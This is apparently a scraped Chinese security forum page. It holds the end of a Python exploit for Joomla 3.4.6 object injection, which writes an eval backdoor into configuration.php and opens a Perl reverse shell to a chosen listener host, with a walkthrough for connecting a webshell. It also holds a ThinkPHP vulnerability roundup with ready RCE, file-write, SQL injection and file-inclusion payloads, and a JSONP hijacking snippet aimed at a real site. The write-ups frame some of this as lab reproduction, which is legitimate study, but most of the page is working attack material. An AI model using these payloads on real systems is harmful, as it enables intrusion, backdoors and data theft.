        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        #payload =  command + ' || $a=\'http://wtf\';'
        payload =  'http://l4m3rz.l337/;' + command
        # Following payload will append an eval() at the enabled of the configuration file
        #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def make_req(url , object_payload):
        # just make a req with object
        print_info('Getting Session Cookie ..')
        cook = get_cook(url)
        print_info('Getting CSRF Token ..')
        csrf = get_token( url, cook)
 
        user_payload = '\\0\\0\\0' * 9
        padding = 'AAA' # It will land at this padding
        working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
        clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
 
        inj_object = '";'
        inj_object += object_payload
        inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
        password_payload = padding + inj_object
        params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }
 
        print_info('Sending request ..')
        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
        return resp.text
 
def get_backdoor_pay():
        # This payload will backdoor the the configuration .PHP with an eval on POST request
 
        function = 'assert'
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        # payload =  command + ' || $a=\'http://wtf\';'
        # Following payload will append an eval() at the enabled of the configuration file
        payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def check(url):
        check_string = random_string(20)
        target_url = url + 'index.php/component/users'
        html = make_req(url, gen_pay('print_r',check_string))
        if check_string in html:
                return True
        else:
                return False
 
def ping_backdoor(url,param_name):
        res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
        if 'PWNED' in res.text:
                return True
        return False
 
def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)
 
def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
        # e.g. get_payload('system','rm -rf /')
 
        # First check that the backdoor has not been already implanted
        target_url = url + 'index.php/component/users'
 
        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
                print_info('Now it\'s time to reverse, trying with a system + perl')
                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
 
 
if __name__ == '__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument('-t','--target',required=True,help='Joomla Target')
        parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
        parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
        parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
        parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
        args = vars(parser.parse_args())
 
        url = args['target']
        if(check(url)):
                print_ok('Vulnerable')
                if args['exploit']:
                        exploit(url, args['lhost'], args['lport'])
                else:
                        print_info('Use --exploit to exploit it')
 
        else:
                print_error('Seems NOT Vulnerable ;/')


如果检测结果中有 "Vulnerable" 这个字符串,则说漏洞存在

4.png

 
之后就可以进行漏洞的利用了,执行脚本插入一句话木马如图: -l 是服务器ip -p 是随意一个未被占用的端口

7.png

 
进入configration.php 查看一句木马是否插入成功

5.png

 
如图插入成功 ,用菜刀尝试连接
url:http://127.0.0.1/joomla3.4.6//configuration.php
密码为生成的随机值:cpfdbhjnildsblnnowyosoawezaupqwevpahznwjmeyzejuktl

6.png

 
连接成功

ThinkPHP漏洞总结

fireant 发表了文章 • 1 个评论 • 5467 次浏览 • 2019-12-20 10:08 • 来自相关话题

ThinkPHP 是一个快速、简单的基于 MVC 和面向对象的轻量级 PHP 开发框架,遵循 Apache2 开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重开发体验和易用性,为 WEB 应用和 API 开发提供了强有力的支持。
 
0x00前言
本篇文章将针对ThinkPHP的历史漏洞进行整理复现,今后爆出的ThinkPHP漏洞,也将进行补充更新。
 
0x01ThinkPHP远程命令执行/代码执行漏洞
 
一,ThinkPHP 5.0.23远程代码执行
漏洞介绍
2019 年 1 月 11 日,360CERT 发现某安全社区出现关于 ThinkPHP5 RCE 漏洞的威胁情报,不久之后 ThinkPHP5 官方与 GitHub 发布更新。该更新修复了一处严重漏洞,该漏洞可导致远程命令代码执行。
Thinkphp在实现框架中的核心类Request的method方法实现了表单请求伪装。但由于对$_POST[‘_method’]属性校验不严格,导致攻击者可以通过变量覆盖掉Request类的属性并结合框架特性实现对任意函数的调用,从而实现远程代码执行。
 
影响版本
THINKPHP 5.0.x-5.0.23
 
漏洞分析参考:
https://www.freebuf.com/vuls/194093.html
 
漏洞复现(内网环境)
访问192.168.10.53,选择对应版本
需要目标开启debug模式
 
Poc/exp:
设置url参数s=captcha,post数据_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami




 
二,ThinkPHP 5.0.22远程代码执行
漏洞介绍
2018年12月9日,ThinkPHP官方发布安全更新,修复一处由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,山石网科安服团队经过分析,把该漏洞危险级别定为严重。
Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤,在存在admin、index模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行
 
影响版本
THINKPHP 5.0.5-5.0.22
THINKPHP 5.1.0-5.1.30
 
漏洞分析参考:
https://www.secpulse.com/archives/93903.html
 
漏洞复现(内网环境)
访问192.168.10.53,选择对应版本
 
命令执行payload:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]=whoami



代码执行查看phpinfo?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=-1



写文件payload?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?php phpinfo();?>



 
三,​ThinkPHP 2.2任意代码执行
影响版本
THINKPHP 2.x-2.2

漏洞复现(内网环境)
访问192.168.10.53,选择对应版本
 
Poc/exp:/module/action/param1/${phpinfo()}
/module/action/param1/${eval($_POST[1])}
?s=/abc/abc/abc/${THINK_VERSION}



 
getshell菜刀直接连接构造的连接








0x02ThinkPHP sql注入漏洞
 
一,ThinkPHP 3.2.3/5.1.22 order by注入
漏洞介绍:
该漏洞是因为未正确处理所接收数组类型参数的key,直接拼接到了SQL语句的order by后面,导致漏洞的产生。该漏洞可以获取数据库数据,比如用户账号密码,管理后台账号密码,交易数据等。漏洞危害为高危。
 
影响版本
5.1.16<=ThinkPHP<=5.1.22,<=3.2.3
 
漏洞分析参考:
https://nosec.org/home/detail/1821.html
 
漏洞复现(内网环境)
在/application/index/controller/文件夹下建立Index.php文件,内容如下:<?php
namespace app\index\controller;
class Index{
public function index() {
$data=array();
$data['username']=array('eq','admin');
$order=input('get.orderby/a');
$m=db('user')->where($data)->order($order)->find();
Sdump($m);
}
}
?>
访问192.168.10.53,选择对应版本
 
Poc/exp:
3.2.3?order[updatexml(1,concat(0x3a,user()),1)]=1        
5.1.22 ?orderby[id`|updatexml(1,concat(0x3a,user()),1)%23]=1




二,Thinkphp3.2.3 find/select/delete注入
影响版本
Thinkphp<=3.2.3

漏洞分析参考:
https://www.anquanke.com/post/id/157817
 
漏洞复现(内网环境)
在Application\Home\Controller\IndexController.class.php 添加以下代码:<?php
public function test()
{
$id = i('id');
$res = M('user')‐>find($id);
//find() //$res = M('user')‐>delete($id); //delete()
//$res = M('user')‐>select($id); //select()
}
Poc/exp:
针对select() 和find()方法 ,有很多地方可注,这里主要列举三个table,alias, where,更多还请自行跟踪一下parseSql的各个parseXXX方法,目测都是可行 的,比如having,group等。
where: http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐alias: http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,u ser(),0x7e),1)‐‐table:http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐




而delete()方法的话同样,这里粗略举三个例子,table,alias,where,但使用table和alias的时候,同时还必须保证where不为空

where: http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐alias: http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐table: http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐&id[where]=1



 
三,ThinkPHP框架3.2.3 update注入漏洞
影响版本
Thinkphp<=3.2.3
 
漏洞分析参考:
https://www.seebug.org/vuldb/ssvid-97234
 
漏洞复现(内网环境)
在Application/Home/Controller/UserController.class.php添加以下代码:<?php

namespace Home\Controller;
use Think\Controller;

class UserController extends Controller {

public function index(){

$User = M("user");
$user['id'] = I('id');
$data['name'] = I('name');
$data['pass'] = I('pass');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
}




Poc/exp:/index.php/home/user?name=1123&pass=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))



 
四,ThinkPHP 5.1.7 update注入
漏洞介绍
本次漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
 
影响版本
5.1.6<=Thinkphp<=5.1.7(非最新的 5.1.8 版本也可利用)
 
漏洞分析参考:
https://www.freebuf.com/column/206233.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:class index
{
public function indx()
{
$password=input('get.pass/a');
db('user')->where(['id'=>1]->update(['pass'=>&password]));
}
}
Poc/exp:/index.php?pass[0]=inc&pass[1]=updatexml(2,concat(0x7e,user()),0)&pass[2]=1



 
五,ThinkPHP 5.0.15 insert注入
漏洞介绍
本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
 
影响版本
5.0.13<Thinkphp<=5.0.15,5.1.0<=thinkphp<=5.1.5
 
漏洞分析参考:
https://www.freebuf.com/column/205976.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:class Index
{
public function index()
{
$username = request()->get('name/a');
db('user')->insert(['name' => $name]);
return 'Update success';
}
}
 Poc/exp:/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1



 
六,ThinkPHP5 select注入
漏洞介绍
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
 
影响版本
ThinkPHP5全版本
 
漏洞分析参考:
https://www.freebuf.com/column/206387.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:class Index
{
public function index()
{
$name = request()->get('name');
$result = db('user')->where('name','exp',$name)->select();
return 'select success';
}
}
 Poc/exp:/index/index/index?name=) union select updatexml(1,concat(0x7,user(),0x7e),1)#



 
七,ThinkPHP5.0.10 select注入
漏洞介绍
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。再一个, Request 类的 filterValue 方法漏过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。
 
影响版本
ThinkPHP 5.0.10
 
漏洞分析参考:
https://www.freebuf.com/column/206599.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:class Index
{
public function index()
{
$username = request()->get('name/a');
$result = db('user')->where(['name' => $name])->select();
var_dump($result);
}
}
Poc/exp:/index/index/index?name[0]=not like&name[1][0]=%%&name[1][1]=233&name[2]=) union select 1,user()#



 
八,ThinkPHP Mysql 聚合函数相关方法注入
漏洞介绍
本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。
 
影响版本 
5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。
 
漏洞分析参考:
https://www.freebuf.com/column/206599.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:class Index
{
public function index()
{
$options = request()->get('options');
$result = db('user')->max($options);
var_dump($result);
}
}
Poc/exp:
不同版本payload需稍作调整
5.0.0~5.0.21 、 5.1.3~5.1.10:/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from user%235.1.11~5.1.25:/index/index/index?options=id)%2bupdatexml(1,concat(0×7,user(),0x7e),1) from user%23`



 
0x03ThinkPHP文件包含漏洞
 
一,ThinkPHP5文件包含漏洞
漏洞介绍
本次漏洞存在于ThinkPHP模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。
 
影响版本 
5.0.0<=ThinkPHP5<=5.0.18、5.1.0<=ThinkPHP<=5.1.10
 
漏洞分析参考:
https://www.freebuf.com/column/207878.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:class Index
{
public function index()
{
$this->assign(request()->get());
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
}
}创建application/index/view/index/index.html文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马1.jpg放至public 目录下(模拟上传图片操作)。
 
Poc/exp:/index.php/index/index/index?cacheFile=1.jpg



  查看全部
ThinkPHP 是一个快速、简单的基于 MVC 和面向对象的轻量级 PHP 开发框架,遵循 Apache2 开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重开发体验和易用性,为 WEB 应用和 API 开发提供了强有力的支持。
 
0x00前言
本篇文章将针对ThinkPHP的历史漏洞进行整理复现,今后爆出的ThinkPHP漏洞,也将进行补充更新。
 
0x01ThinkPHP远程命令执行/代码执行漏洞
 
一,ThinkPHP 5.0.23远程代码执行
漏洞介绍
2019 年 1 月 11 日,360CERT 发现某安全社区出现关于 ThinkPHP5 RCE 漏洞的威胁情报,不久之后 ThinkPHP5 官方与 GitHub 发布更新。该更新修复了一处严重漏洞,该漏洞可导致远程命令代码执行。
Thinkphp在实现框架中的核心类Request的method方法实现了表单请求伪装。但由于对$_POST[‘_method’]属性校验不严格,导致攻击者可以通过变量覆盖掉Request类的属性并结合框架特性实现对任意函数的调用,从而实现远程代码执行。
 
影响版本
THINKPHP 5.0.x-5.0.23
 
漏洞分析参考:
https://www.freebuf.com/vuls/194093.html
 
漏洞复现(内网环境)
访问192.168.10.53,选择对应版本
需要目标开启debug模式
 
Poc/exp:
设置url参数s=captcha,post数据
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

图片_23.png

 
二,ThinkPHP 5.0.22远程代码执行
漏洞介绍
2018年12月9日,ThinkPHP官方发布安全更新,修复一处由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,山石网科安服团队经过分析,把该漏洞危险级别定为严重。
Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤,在存在admin、index模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行
 
影响版本
THINKPHP 5.0.5-5.0.22
THINKPHP 5.1.0-5.1.30
 
漏洞分析参考:
https://www.secpulse.com/archives/93903.html
 
漏洞复现(内网环境)
访问192.168.10.53,选择对应版本
 
命令执行payload:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]=whoami 
图片1.png

代码执行查看phpinfo
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=-1
图片2.png

写文件payload
?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?php phpinfo();?>
图片3.png

 
三,​ThinkPHP 2.2任意代码执行
影响版本
THINKPHP 2.x-2.2

漏洞复现(内网环境)
访问192.168.10.53,选择对应版本
 
Poc/exp:
/module/action/param1/${phpinfo()}
/module/action/param1/${eval($_POST[1])}
?s=/abc/abc/abc/${THINK_VERSION}
图片4.png

 
getshell菜刀直接连接构造的连接
图片5.png

图片6.png

0x02ThinkPHP sql注入漏洞
 
一,ThinkPHP 3.2.3/5.1.22 order by注入
漏洞介绍:
该漏洞是因为未正确处理所接收数组类型参数的key,直接拼接到了SQL语句的order by后面,导致漏洞的产生。该漏洞可以获取数据库数据,比如用户账号密码,管理后台账号密码,交易数据等。漏洞危害为高危。
 
影响版本
5.1.16<=ThinkPHP<=5.1.22,<=3.2.3
 
漏洞分析参考:
https://nosec.org/home/detail/1821.html
 
漏洞复现(内网环境)
在/application/index/controller/文件夹下建立Index.php文件,内容如下:
<?php
namespace app\index\controller;
class Index{
public function index() {
$data=array();
$data['username']=array('eq','admin');
$order=input('get.orderby/a');
$m=db('user')->where($data)->order($order)->find();
Sdump($m);
}
}
?>

访问192.168.10.53,选择对应版本
 
Poc/exp:
3.2.3
?order[updatexml(1,concat(0x3a,user()),1)]=1            

5.1.22 
?orderby[id`|updatexml(1,concat(0x3a,user()),1)%23]=1
图片7.png


二,Thinkphp3.2.3 find/select/delete注入
影响版本
Thinkphp<=3.2.3

漏洞分析参考:
https://www.anquanke.com/post/id/157817
 
漏洞复现(内网环境)
在Application\Home\Controller\IndexController.class.php 添加以下代码:
<?php 
public function test()
{
$id = i('id');
$res = M('user')‐>find($id);
//find() //$res = M('user')‐>delete($id); //delete()
//$res = M('user')‐>select($id); //select()
}

Poc/exp:
针对select()find()方法 ,有很多地方可注,这里主要列举三个table,alias, where,更多还请自行跟踪一下parseSql的各个parseXXX方法,目测都是可行 的,比如having,group等。
where: 
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐
alias: 
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,u ser(),0x7e),1)‐‐
table:
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐
图片8.png


delete()方法的话同样,这里粗略举三个例子,table,alias,where,但使用table和alias的时候,同时还必须保证where不为空

where: 
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐
alias: 
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐
table: 
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐&id[where]=1
图片9.png

 
三,ThinkPHP框架3.2.3 update注入漏洞
影响版本
Thinkphp<=3.2.3
 
漏洞分析参考:
https://www.seebug.org/vuldb/ssvid-97234
 
漏洞复现(内网环境)
在Application/Home/Controller/UserController.class.php添加以下代码:
<?php

namespace Home\Controller;
use Think\Controller;

class UserController extends Controller {

public function index(){

$User = M("user");
$user['id'] = I('id');
$data['name'] = I('name');
$data['pass'] = I('pass');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
}




Poc/exp:
/index.php/home/user?name=1123&pass=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))
图片10.png

 
四,ThinkPHP 5.1.7 update注入
漏洞介绍
本次漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
 
影响版本
5.1.6<=Thinkphp<=5.1.7(非最新的 5.1.8 版本也可利用)
 
漏洞分析参考:
https://www.freebuf.com/column/206233.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:
class index
{
public function indx()
{
$password=input('get.pass/a');
db('user')->where(['id'=>1]->update(['pass'=>&password]));
}
}

Poc/exp:
/index.php?pass[0]=inc&pass[1]=updatexml(2,concat(0x7e,user()),0)&pass[2]=1
图片11.png

 
五,ThinkPHP 5.0.15 insert注入
漏洞介绍
本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
 
影响版本
5.0.13<Thinkphp<=5.0.15,5.1.0<=thinkphp<=5.1.5
 
漏洞分析参考:
https://www.freebuf.com/column/205976.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:
class Index
{
public function index()
{
$username = request()->get('name/a');
db('user')->insert(['name' => $name]);
return 'Update success';
}
}

 Poc/exp:
/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1
图片12.png

 
六,ThinkPHP5 select注入
漏洞介绍
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
 
影响版本
ThinkPHP5全版本
 
漏洞分析参考:
https://www.freebuf.com/column/206387.html
 
漏洞复现(内网环境
在\thinkphp\application\index\controller\Index.php添加以下代码:
class Index
{
public function index()
{
$name = request()->get('name');
$result = db('user')->where('name','exp',$name)->select();
return 'select success';
}
}

 Poc/exp:
/index/index/index?name=) union select updatexml(1,concat(0x7,user(),0x7e),1)#
图片13.png

 
七,ThinkPHP5.0.10 select注入
漏洞介绍
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。再一个, Request 类的 filterValue 方法漏过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。
 
影响版本
ThinkPHP 5.0.10
 
漏洞分析参考:
https://www.freebuf.com/column/206599.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:
class Index
{
public function index()
{
$username = request()->get('name/a');
$result = db('user')->where(['name' => $name])->select();
var_dump($result);
}
}

Poc/exp:
/index/index/index?name[0]=not like&name[1][0]=%%&name[1][1]=233&name[2]=) union select 1,user()#
图片14.png

 
八,ThinkPHP Mysql 聚合函数相关方法注入
漏洞介绍

本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。
 
影响版本 
5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。
 
漏洞分析参考:
https://www.freebuf.com/column/206599.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:
class Index
{
public function index()
{
$options = request()->get('options');
$result = db('user')->max($options);
var_dump($result);
}
}

Poc/exp:
不同版本payload需稍作调整
5.0.0~5.0.21 、 5.1.3~5.1.10:
/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from user%23
5.1.11~5.1.25:
/index/index/index?options=id)%2bupdatexml(1,concat(0×7,user(),0x7e),1) from user%23`
图片15.png

 
0x03ThinkPHP文件包含漏洞
 
一,ThinkPHP5文件包含漏洞
漏洞介绍
本次漏洞存在于ThinkPHP模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。
 
影响版本 
5.0.0<=ThinkPHP5<=5.0.18、5.1.0<=ThinkPHP<=5.1.10
 
漏洞分析参考:
https://www.freebuf.com/column/207878.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:
class Index
{
public function index()
{
$this->assign(request()->get());
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
}
}
创建application/index/view/index/index.html文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马1.jpg放至public 目录下(模拟上传图片操作)。
 
Poc/exp:
/index.php/index/index/index?cacheFile=1.jpg
图片16.png

 

跨域劫持浅谈

llpkk 发表了文章 • 2 个评论 • 762 次浏览 • 2019-12-16 20:40 • 来自相关话题

0x00 同源策略
以下三种漏洞的利用原理都和同源策略有关系,所以我们先回顾一下同源策略的内容
1)含义

1995年,同源政策由 Netscape 公司引入浏览器。目前,所有浏览器都实行这个政策。
最初,它的含义是指,A网页设置的 Cookie,B网页不能打开,除非这两个网页"同源"。所谓"同源"指的是"三个相同"

(1)协议相同
(2)域名相同
(3)端口相同 
举个栗子(以 http://www.a.com  为例):
http://www.a.com/a.html 同源
https://www.a.com/a.html 不同源:协议不同
http://a.com/a.html 不同源:域名不同
http://info.a.com/a.html 不同源:域名不同
http://www.a.com:81/a.html 不同源:端口不同
2)限制了什么?
(1) Cookie、LocalStorage 和 IndexDB 无法读取。
(2) DOM 无法获得。
(3) AJAX 请求不能发送。
0x01 JSONP劫持

JSONP(JSON with Padding)是JSON的一种“使用模式”,可用于解决主流浏览器的跨域数据访问的问题。由于同源策略,一般来说位于 server1.example.com 的网页无法与不是 server1.example.com的服务器沟通,而 HTML 的<script> 元素是一个例外。利用 <script> 元素的这个开放策略,网页可以得到从其他来源动态产生的 JSON 资料,而这种使用模式就是所谓的 JSONP。用 JSONP 抓到的资料并不是 JSON,而是任意的JavaScript,用 JavaScript 直译器执行而不是用 JSON 解析器解析。    ----百度百科

 
简单的来说,jsonp就是为了能够跨域调用而使用的一种格式。这种格式大大方便了Web应用程序开发时的数据传输问题,但同时也就产生了问题。现在我们想象一下,json格式可以被程序员轻松跨域调用,我们是不是也可以调用了?而如果在传递个人敏感信息的过程中如果使用了json格式,这时我们再进行劫持得到的信息是不是就会很有意思了?
jsonp讲解:https://blog.csdn.net/hansexploration/article/details/80314948
 
ps:
JSON是一种数据交换格式
JSONP是一种依靠开发人员的聪明才智创造出的一种非官方跨域数据交互协议。
1)如何劫持?
先看一段普通的请求





 
我们再来看看jsonp是如何实现的
<script type="text/javascript">
function CustomerLoaded(result,methodName)
{
var html='<ul>';
for(var i=0;i<result.length;i++)
{
html+='<li>'+result[i]+'</li>';
}
html+='</ul>';
document.getElementById('divCustomers').innerHTML=html;
}
</script>
这就是jsonp利用的方法,自定义一个函数,并且以json格式返回。而在大部分函数定义时通常使用的函数名一般都是callback。
Javascript原函数定义如下:
function funName(){}这里是缺少了函数定义的关键词 function 和花括号的函数主体部分,只有函数名和函数传参,聪明人已经想到了,这不就相当于是自定义函数被引用了么,而中间那段传参就相当于是一个数组,所以我们可以先用JS自定义好这个函数,然后再引用这个请求,自然就可以获取到数据了。
<script>function jsonp_1550771758232_74857(data){alert(JSON.stringify(data));}</script>
<script src="https://m.58.com/sublocals/?cityname=jms&callback=jsonp_1550771758232_74857"></script>
本地浏览器打开





至此我们就完成了一次简单的jsonp劫持。
另一个案例:
https://gh0st.cn/archives/2018-07-25/1
 
0x02 CORS 跨域资源共享

跨域资源共享(CORS) 是一种机制,它使用额外的 HTTP 头来告诉浏览器  让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求。

